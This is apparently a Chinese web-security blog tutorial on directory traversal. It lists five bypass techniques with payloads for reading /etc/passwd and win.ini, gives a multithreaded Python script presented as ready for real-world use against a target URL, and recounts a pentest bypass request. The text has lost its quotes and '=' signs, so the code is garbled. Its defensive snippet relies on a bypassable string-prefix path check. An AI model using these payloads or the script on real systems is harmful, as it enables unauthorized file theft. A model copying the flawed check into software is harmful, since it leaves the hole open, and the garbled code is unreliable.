目录遍历漏洞实战:5种绕过技术复现与自动化测试脚本 📅 2026/7/8 20:36:25 目录遍历漏洞实战5种绕过技术复现与自动化测试脚本在Web安全领域目录遍历漏洞Directory Traversal始终是攻击者获取敏感信息的重要突破口。这种漏洞允许攻击者通过构造特殊路径访问服务器上的任意文件从应用程序配置文件到系统关键文件都可能暴露。本文将深入剖析五种主流绕过技术并提供可直接用于实战的Python自动化测试脚本。1. 漏洞原理与危害场景目录遍历漏洞本质上是由于应用程序未对用户提供的文件名参数进行充分验证导致攻击者能够突破预期的目录访问限制。当Web应用动态生成文件路径时如果直接拼接用户输入而未做规范化处理就会产生安全风险。典型危害场景包括读取/etc/passwd获取系统用户信息窃取应用程序配置文件中的数据库凭证查看日志文件获取敏感操作记录下载源代码进行反向工程访问临时文件获取未加密数据关键点漏洞利用的成功率高度依赖服务器操作系统和中间件配置Windows与Linux系统的关键文件路径存在显著差异。2. 五种核心绕过技术详解2.1 绝对路径直接访问当应用仅过滤../序列但未限制绝对路径时可直接指定完整文件路径payload /etc/passwd # Linux系统 payload C:\\Windows\\win.ini # Windows系统适用场景路径拼接前未强制添加基础目录仅检测相对路径跳转字符文件操作API支持绝对路径引用2.2 双写绕过技术防御代码可能简单替换../为空字符串此时可采用非递归替换的缺陷payload ....//....//....//etc/passwd处理过程 原始输入 → 替换../为空 → 最终路径....//....//....//etc/passwd→../../../etc/passwd→ 漏洞触发2.3 URL编码绕过多层编码可绕过基础检测逻辑编码方式示例解码结果单层URL编码%2e%2e%2f../双重URL编码%252e%252e%252f../Unicode编码%u002e%u002e%u002f../# 双重编码示例 payload %252e%252e%252fetc%252fpasswd2.4 路径截断技术当应用强制添加后缀时空字节截断特别有效payload ../../../etc/passwd%00.jpg技术要点依赖语言对%00的处理方式PHP5.3版本效果最佳需要服务器未过滤空字节字符2.5 特殊符号变体不同操作系统对路径分隔符的解析差异# Windows系统特有 payload ..\\..\\..\\Windows\\win.ini payload ..;/../etc/passwd # 分号绕过3. 自动化测试脚本开发以下Python脚本整合了所有绕过技术支持智能检测有效载荷import requests import urllib.parse from concurrent.futures import ThreadPoolExecutor class TraversalTester: def __init__(self, base_url, param_name): self.base_url base_url self.param_name param_name self.success_patterns set() # 预定义测试载荷 self.payloads [ /etc/passwd, # 绝对路径 ....//....//etc/passwd, # 双写绕过 %252e%252e%252fetc%252fpasswd, # 双重编码 ../../../etc/passwd%00.png, # 截断攻击 ..\\..\\..\\Windows\\win.ini, # Windows路径 ..;/../etc/passwd # 特殊分隔符 ] def test_payload(self, payload): try: params {self.param_name: payload} res requests.get(self.base_url, paramsparams, timeout5) if root:x: in res.text or [extensions] in res.text: return (True, payload, len(res.text)) except Exception: pass return (False, payload, 0) def run_tests(self): with ThreadPoolExecutor(max_workers10) as executor: results executor.map(self.test_payload, self.payloads) for success, payload, length in results: if success: print(f[] 成功利用: {payload} (响应长度: {length})) self.success_patterns.add(payload.split(/)[0]) else: print(f[-] 测试失败: {payload}) if __name__ __main__: tester TraversalTester( base_urlhttp://vuln-site.com/image, param_namefilename ) tester.run_tests()脚本功能增强点多线程并发测试自动识别有效载荷模式响应长度分析辅助判断支持Linux/Windows双平台检测4. 防御方案与实战建议4.1 输入验证策略对比防御方法优点缺点白名单校验安全性高灵活性差路径规范化覆盖多数情况可能被编码绕过文件API限制系统级防护需语言支持内容类型检查简单易实现易被截断绕过4.2 关键防御代码示例from pathlib import Path def safe_file_access(base_dir, user_input): # 路径规范化处理 full_path (Path(base_dir) / user_input).resolve() # 验证是否仍在基础目录下 if not str(full_path).startswith(base_dir): raise ValueError(非法路径访问) return full_path防御要点使用resolve()解析所有符号链接和相对路径字符串比较前进行规范化处理设置open_basedir限制(PHP环境)禁用不必要的文件系统权限5. 实战案例与技巧在某次渗透测试中我们发现目标系统存在以下过滤逻辑删除所有../序列强制添加.jpg后缀检查路径是否以/var/www开头最终通过组合技术实现绕过GET /image?filename/var/www/./../../etc/passwd%00.jpg攻击链构建过程保持前缀符合验证要求使用./中断路径检测空字节截断强制后缀多层跳转突破目录限制这种混合绕过方式在真实环境中成功率显著高于单一技术应用。建议测试时准备至少3-5种不同变体进行组合尝试。